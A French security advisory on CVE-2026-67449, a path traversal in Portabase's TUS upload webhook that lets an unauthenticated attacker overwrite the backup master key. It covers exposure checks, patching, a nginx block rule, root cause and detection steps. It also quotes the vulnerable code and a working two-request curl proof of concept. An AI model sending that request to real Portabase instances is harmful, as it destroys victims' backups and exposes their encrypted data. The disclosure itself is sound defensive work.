Portabase : écrasement de la clé maîtresse, corrigé en 1.21.2 (CVE-2026-67449)
Une traversée de chemin non authentifiée dans le webhook TUS de Portabase écrase la clé maîtresse AES-256 des sauvegardes chiffrées ; corrigé en 1.21.2.
En bref
- Le webhook TUS de Portabase fait confiance à l'en-tête
X-File-Pathet renomme un fichier téléversé vers n'importe quel chemin du répertoire privé. La faille est CVE-2026-67449, notée CVSS v3.1 9,8. - L'édition Community auto-hébergée jusqu'à 1.21.1 est concernée lorsque
/tus/files/ou/api/tus/hooksest accessible. Le correctif est 1.21.2, publié le 2026-07-04. - L'avis contient une preuve de concept en deux requêtes qui écrase
/data/private/keys/master_key.bin. Aucune exploitation réelle n'est connue, et le CVE n'est pas dans le catalogue KEV de la CISA au 2026-11-12. - Mettez à niveau vers 1.21.2 ou une version ultérieure ; la dernière version est 1.36.1. Si vous ne pouvez pas, bloquez
/api/tus/hookset/tus/au niveau du proxy inverse.
Suis-je concerné ?
Vous êtes exposé si toutes ces conditions sont réunies :
- Vous exécutez une édition Community de Portabase auto-hébergée en version 1.21.1 ou antérieure.
- Des clients non fiables peuvent atteindre l'instance, et
/tus/files/ou/api/tus/hooksest exposé à travers le proxy inverse. - L'attaquant peut créer un téléversement TUS et contrôler l'en-tête
X-File-Path. Aucun compte n'est nécessaire.
Le déploiement Docker par défaut place nginx sur le port 80, proxifie /tus/ vers le service de téléversement tusd et permet à tusd d'appeler /api/tus/hooks sur l'application. Le webhook est aussi accessible via la règle location / fourre-tout, donc un proxy qui ne bloque que /tus/ peut laisser le webhook ouvert. L'avis indique que le point de terminaison de téléversement TUS ne demandait aucune authentification.
| Produit | Versions concernées | Version corrigée |
|---|---|---|
| Portabase Community Edition | 1.21.1 et antérieures | 1.21.2 |
| Portabase Community Edition | 1.21.2 et ultérieures | Non concernées |
L'image Docker Hub totalise 398 662 téléchargements, et le dépôt GitHub 1 899 étoiles. La plage concernée est l'édition Community auto-hébergée antérieure à 1.21.2.
Vérifiez l'étiquette de l'image du conteneur en cours. L'application n'expose pas de point de terminaison de version, il faut donc lire l'image à partir de laquelle le conteneur a été créé :
docker inspect portabase --format '{{.Config.Image}}'
docker compose images | grep -i portabase
Si l'étiquette est latest, comparez le digest du conteneur en cours avec celui de la version que vous vouliez exécuter. La première commande lit le digest en cours ; les deux suivantes téléchargent la version et lisent son digest :
docker inspect portabase --format '{{index .RepoDigests 0}}'
docker pull portabase/portabase:1.36.1
docker image inspect portabase/portabase:1.36.1 --format '{{index .RepoDigests 0}}'
La version actuelle est 1.36.1, publiée le 2026-11-10. Toute étiquette à partir de 1.21.2 contient le correctif.
Comment corriger ?
Mettez à niveau vers Portabase 1.21.2 ou une version ultérieure et recréez le conteneur. Télécharger une nouvelle image ne suffit pas si le conteneur en cours utilise encore l'ancienne.
- Téléchargez l'image corrigée et recréez le service :
bash docker compose pull docker compose up -d - Confirmez que le conteneur en cours utilise la nouvelle image :
bash docker inspect portabase --format '{{.Config.Image}}' - Si vous épinglez une version, utilisez
1.21.2ou une étiquette ultérieure. La dernière version est1.36.1. - Si vous compilez depuis les sources, utilisez le commit
8dcb4067ou l'étiquette 1.21.2. Le correctif se trouve dans la pull request #355.
Si vous ne pouvez pas mettre à niveau immédiatement, bloquez le chemin de téléversement au niveau du proxy inverse. L'avis recommande de refuser l'accès externe à /api/tus/hooks et /tus/ pour les réseaux non fiables. Cela ferme le chemin pour les attaquants distants, mais arrête aussi les téléversements légitimes des agents, il faut donc planifier la mise à niveau.
- Dans nginx, refusez le webhook avant la règle fourre-tout :
nginx location = /api/tus/hooks { deny all; return 404; } - Restreignez
/tus/aux réseaux qui exécutent vos agents de sauvegarde, ou retirez-le de l'écouteur public. - Rechargez le proxy et confirmez que le webhook renvoie 404 depuis un réseau non fiable.
Bloquer le webhook est une solution de contournement, pas un correctif. Une requête qui atteint l'application par un autre chemin peut encore exploiter le traversal.
Quelle est la cause racine ?
Le webhook TUS prend un chemin de fichier dans un en-tête HTTP et le joint au répertoire de téléversement sans vérifier la présence de ... path.join() normalise le traversal, donc le chemin résultant peut sortir du répertoire de téléversement et atteindre la clé maîtresse.
Le code vulnérable se trouve dans app/api/tus/hooks/route.ts à l'étiquette 1.21.1. Voici les lignes concernées :
const filePath = headers["X-File-Path"]?.[0];
if (!filePath) {
return NextResponse.json({error: "Missing X-File-Path"}, {status: 500});
}
const uploadDir = path.join(env.PRIVATE_PATH!, "/uploads/");
const oldFilePath = path.join(uploadDir, "tmp", id);
const newFilePath = path.join(uploadDir, filePath);
fs.mkdirSync(path.dirname(newFilePath), {recursive: true});
...
fs.renameSync(oldFilePath, newFilePath);
PRIVATE_PATH vaut /data/private par défaut dans le conteneur. Le répertoire de téléversement est donc /data/private/uploads/, et le fichier temporaire d'un téléversement est /data/private/uploads/tmp/<id>. La valeur d'en-tête ../keys/master_key.bin fait résoudre newFilePath en /data/private/uploads/../keys/master_key.bin, soit /data/private/keys/master_key.bin. fs.mkdirSync() crée le répertoire parent si nécessaire, et fs.renameSync() remplace la cible de façon atomique.
La clé maîtresse est une valeur aléatoire de 32 octets stockée dans keys/master_key.bin avec le mode 0600. Portabase l'utilise pour le chiffrement AES-256-GCM des données de sauvegarde. Le même fichier est créé par getOrCreateMasterKey() dans src/utils/rsa-keys.ts, et la destination du webhook est le même chemin.
L'en-tête est contrôlé par l'attaquant, car tusd transmet les en-têtes de requête au webhook. Le point de terminaison de téléversement ne demande aucune authentification, donc un client non authentifié peut démarrer un téléversement et placer le traversal dans X-File-Path. Le webhook fait confiance à l'en-tête parce qu'il attend de tusd le chemin choisi par l'agent.
Comment la faille est-elle exploitée ?
- L'attaquant crée un téléversement TUS avec le traversal dans
X-File-Path. Le service de téléversement renvoie un emplacement pour le nouveau téléversement. - L'attaquant téléverse 32 octets vers cet emplacement. À la fin du téléversement, tusd appelle le webhook avec les en-têtes d'origine.
- Le webhook joint
../keys/master_key.binau répertoire de téléversement, crée le répertoirekeyssi nécessaire et renomme le téléversement temporaire par-dessus la clé maîtresse. - L'attaquant contrôle désormais le matériel de clé. Les sauvegardes existantes chiffrées avec l'ancienne clé ne peuvent plus être déchiffrées. Les données chiffrées après l'écrasement sont lisibles par quiconque connaît la nouvelle clé.
L'avis publie une preuve de concept en deux requêtes. Voici la séquence, copiée de l'avis :
# Step 1: create the upload
curl -X POST http://<host>/tus/files/ \
-H "Tus-Resumable: 1.0.0" \
-H "Upload-Length: 32" \
-H "X-File-Path: ../keys/master_key.bin" \
-H "X-Status: success"
# Step 2: upload the attacker-controlled key material
curl -X PATCH http://<host>/tus/files/<id> \
-H "Tus-Resumable: 1.0.0" \
-H "Content-Type: application/offset+octet-stream" \
-H "Upload-Offset: 0" \
-H "X-File-Path: ../keys/master_key.bin" \
-H "X-Status: success" \
-d "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
L'exemple de l'avis utilise 32 octets A. Un attaquant réel choisirait une clé qu'il connaît. L'avis ne publie ni rapport de victime ni exploitation réelle.
Comment se déroule l'attaque ?
Une requête de téléversement non authentifiée transporte un traversal dans un en-tête, et le webhook renomme le fichier téléversé par-dessus la clé maîtresse AES sans vérifier où mène le chemin.
flowchart LR
A["POST /tus/files/<br/>X-File-Path: ../keys/master_key.bin"] --> B["tusd stocke le téléversement<br/>dans private/uploads/tmp"]
B --> C["tusd appelle<br/>/api/tus/hooks"]
C --> D["path.join(uploadDir, filePath)<br/>aucune vérification du traversal"]
D --> E["fs.renameSync()<br/>écrase master_key.bin"]
E --> F["anciennes sauvegardes illisibles<br/>nouvelle clé connue de l'attaquant"]
Que peut faire un attaquant ?
Un attaquant non authentifié peut écraser n'importe quel fichier que le processus Portabase peut écrire dans le répertoire privé. La cible la plus dangereuse est la clé maîtresse AES-256-GCM. L'écraser rend définitivement illisible toute sauvegarde chiffrée avec l'ancienne clé, ce qui constitue un déni de service destructif contre la capacité de restauration.
Si l'attaquant fournit une clé qu'il connaît, il peut aussi lire les données chiffrées après l'écrasement. Cela inclut les nouvelles sauvegardes et toute autre donnée que Portabase chiffre avec la même clé. L'avis décrit les deux issues : perte destructive des sauvegardes existantes et divulgation des données chiffrées sous la clé connue de l'attaquant.
L'enregistrement CVE note la faille CVSS v3.1 9,8, CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H.
L'attaquant a besoin d'un accès réseau et d'aucun compte. Le chemin est défini en dur dans le code source, il n'a donc pas besoin de découvrir l'arborescence du répertoire privé. La seule condition préalable est que le téléversement TUS ou le webhook soit accessible.
Pourquoi le correctif fonctionne-t-il ?
Le correctif ajoute trois couches. D'abord, il restreint l'en-tête à un motif de chemin strict. Ensuite, il vérifie que le chemin résolu reste dans le répertoire de téléversement. Enfin, il lie l'appel du webhook à un enregistrement de sauvegarde existant et bloque le webhook à la périphérie nginx.
+const FILE_PATH_RE = /^backups\/\d{4}-\d{2}-\d{2}\/[A-Za-z0-9._-]+$/;
...
- const fileName = headers["X-File-Name"]?.[0];
const filePath = headers["X-File-Path"]?.[0];
- if (!filePath) {
- return NextResponse.json({error: "Missing X-File-Path"}, {status: 500});
+ if (!filePath || !FILE_PATH_RE.test(filePath)) {
+ log.warn({filePath}, "Rejected invalid X-File-Path in TUS hook");
+ return NextResponse.json({error: "Invalid file path"}, {status: 400});
}
+
+ const generatedId = headers["X-Generated-Id"]?.[0];
+ const backupStorageId = headers["X-Backup-Storage-Id"]?.[0];
...
+ const resolvedBase = path.resolve(uploadDir);
+ const newFilePath = path.resolve(resolvedBase, filePath);
+ const rel = path.relative(resolvedBase, newFilePath);
+ if (rel.startsWith("..") || path.isAbsolute(rel)) {
+ log.warn({filePath}, "Rejected path traversal in TUS hook");
+ return NextResponse.json({error: "Invalid file path"}, {status: 400});
+ }
L'expression régulière n'accepte que backups/YYYY-MM-DD/<filename> avec un jeu de caractères limité, donc ../keys/master_key.bin est rejeté avant tout appel au système de fichiers. La vérification path.resolve() et path.relative() attrape ensuite tout chemin qui sort du répertoire de téléversement, même si le motif change plus tard.
Le bloc d'autorisation exige que X-Generated-Id et X-Backup-Storage-Id correspondent à un enregistrement de base de données et de stockage de sauvegarde, donc un appel de webhook forgé est refusé. La règle nginx refuse /api/tus/hooks depuis la périphérie publique.
Le correctif couvre le traversal dans le webhook. L'avis indique aussi que le webhook interne de tusd n'est plus accessible que par loopback, ce qui supprime le chemin externe utilisé par la preuve de concept.
Comment vérifier si j'ai été compromis ?
Aucun indicateur de compromission n'est publié. L'écrasement modifie le fichier de clé maîtresse, il faut donc le comparer à une copie saine si vous en avez une.
Vérifiez la taille et la date de modification du fichier :
docker exec <container> ls -l /data/private/keys/master_key.bin
docker exec <container> stat /data/private/keys/master_key.bin
Le fichier doit faire 32 octets et sa date de modification doit correspondre à l'installation ou à la dernière rotation volontaire. Une date récente sur un fichier que vous n'avez pas fait tourner est une piste.
Comparez l'empreinte de la clé avec une sauvegarde de la clé :
docker exec <container> sha256sum /data/private/keys/master_key.bin
Cherchez des fichiers inattendus dans le répertoire privé, notamment des fichiers .meta à côté de la clé :
docker exec <container> find /data/private -maxdepth 3 -type f -newermt "2026-07-04"
Une restauration de sauvegarde qui échoue est l'autre signal. Si les sauvegardes créées avant l'écrasement suspect ne se déchiffrent plus, la clé a peut-être été remplacée. Conservez le conteneur et le répertoire privé avant de redémarrer ou de reconstruire, car un redémarrage peut écraser les preuves.
Chronologie
- 2026-07-04 : Portabase publie l'avis GHSA-7697-vf3j-253j et la version 1.21.2 avec le correctif.
- 2026-07-29 : l'identifiant CVE est réservé.
- 2026-11-11 : l'enregistrement CVE-2026-67449 est publié, quatre mois après le correctif.
FAQ
Toutes les installations de Portabase sont-elles concernées ?
Non. L'avis couvre l'édition Community auto-hébergée jusqu'à 1.21.1. Les installations en 1.21.2 ou ultérieures sont corrigées. Une instance non accessible aux clients non fiables n'est pas exposée par ce chemin.
Le point de terminaison TUS est-il censé être public ?
Le déploiement par défaut expose /tus/ via nginx et n'authentifie pas le téléversement. Le correctif bloque le webhook interne au niveau du proxy et lie les appels du webhook à un enregistrement de sauvegarde. Si vous exposez Portabase à Internet, vérifiez les deux chemins.
L'attaquant peut-il lire mes sauvegardes existantes ?
Écraser la clé rend les sauvegardes existantes illisibles ; cela ne les déchiffre pas. Si l'attaquant écrit une clé qu'il connaît, il peut lire les données chiffrées après l'écrasement. L'avis décrit à la fois l'issue destructive et l'issue de divulgation.
Existe-t-il un exploit public ?
L'avis contient une preuve de concept en deux requêtes. Aucune exploitation réelle ni rapport de victime n'est publié, et le CVE n'est pas dans le catalogue KEV de la CISA au 2026-11-12.
Et si j'exécute déjà une version ultérieure ?
Vérifiez l'étiquette de l'image du conteneur en cours, pas celle de votre fichier compose. Un conteneur créé avant la mise à niveau peut continuer à exécuter l'ancienne image jusqu'à sa recréation. Toute étiquette à partir de 1.21.2 contient le correctif.
Bloquer /tus/ casse-t-il les sauvegardes ?
Oui, si vos agents de sauvegarde téléversent par ce chemin. Bloquer uniquement /api/tus/hooks ferme le webhook depuis la périphérie publique, mais l'application peut rester accessible autrement. Mettez à niveau dès que possible.
Références
- Avis Portabase GHSA-7697-vf3j-253j, publié le 2026-07-04 : https://github.com/Portabase/portabase/security/advisories/GHSA-7697-vf3j-253j (consulté le 12 novembre 2026)
- Enregistrement CVE-2026-67449, CNA GitHub, publié le 2026-11-11 : https://www.cve.org/CVERecord?id=CVE-2026-67449 (consulté le 12 novembre 2026)
- Commit du correctif 8dcb4067, pull request #355 : https://github.com/Portabase/portabase/commit/8dcb406790728fbdbf758ec88bf000af79498fc1 (consulté le 12 novembre 2026)
- Version 1.21.2 de Portabase : https://github.com/Portabase/portabase/releases/tag/1.21.2 (consulté le 12 novembre 2026)
- Dépôt Portabase et version actuelle 1.36.1 : https://github.com/Portabase/portabase (consulté le 12 novembre 2026)
- Docker Hub, nombre de téléchargements de portabase/portabase : https://hub.docker.com/r/portabase/portabase (consulté le 12 novembre 2026)